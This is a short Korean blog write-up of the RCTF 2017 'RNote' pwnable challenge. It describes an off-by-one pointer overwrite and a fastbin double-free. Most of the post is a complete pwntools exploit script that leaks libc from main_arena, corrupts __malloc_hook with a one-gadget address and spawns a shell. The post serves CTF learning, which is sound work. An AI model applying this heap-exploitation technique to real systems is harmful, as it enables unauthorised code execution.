Pwnable/CTF
RCTF 2017 RNOTE
HSr00t
2017. 11. 8. 10:43
여기서 중요한 점은 add를 할때 전역 변수에 입력을 해주는데 이때 16byte 뒤에 포인터가 있는데 16byte가 아닌 off by one으로 인하여 1byte를 변조 할 수 있다.
free되었는지 확인도 안 하기 때문에 fastbin dup 취약점이 있다.
끝 ㅎ
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 | from pwn import * p=process("./RNote") elf=ELF("./RNote") def add(size,title,content): p.recvuntil(': ') p.sendline("1") p.recvuntil(': ') p.sendline(str(size)) p.recv(1024) p.sendline(title) p.recv(1024) p.send(content) def add_full(size,title): p.recvuntil(': ') p.sendline("1") p.recvuntil(': ') p.sendline(str(size)) p.recv(1024) p.sendline(title) def fulladd(size,title): p.recvuntil(': ') p.sendline("1") p.recvuntil(': ') p.sendline(str(size)) p.recv(1024) p.sendline(title) def delete(idx): p.recvuntil(': ') p.sendline("2") p.recvuntil(': ') p.sendline(str(idx)) def show(idx): p.recvuntil(': ') p.sendline("3") p.recvuntil(': ') p.sendline(str(idx)) add(256,"AAAA","BBBB") add(256,"CCCC","DDDD") delete(0) add(256,"CCCC","D"*7) show(0) print p.recvuntil('content: ') p.recvuntil('D'*7+"\x00") main_arena = u64(p.recv(6)+"\x00\x00") - 88 malloc_hook = main_arena - 0x10 libc_base = malloc_hook - 0x3c4b10 one_shot = libc_base + 0xf1117 print hex(main_arena) print hex(malloc_hook) delete(0) delete(1) add(90,"ZZZZZZZ","eeee") add(90,"zzzzzzz","eeee") add_full(90,"e"*16+"\x10"+"eeee") delete(0) delete(1) delete(2) add(90,"AAAA",p64(malloc_hook-0x23)) add(90,"AAAA","BBBB") add(90,"CCCC","DDDD") add(90,"PPP","B"*19+p64(one_shot)) p.interactive() | cs |
RCTF 문제는 정말 재미있는 것 같다.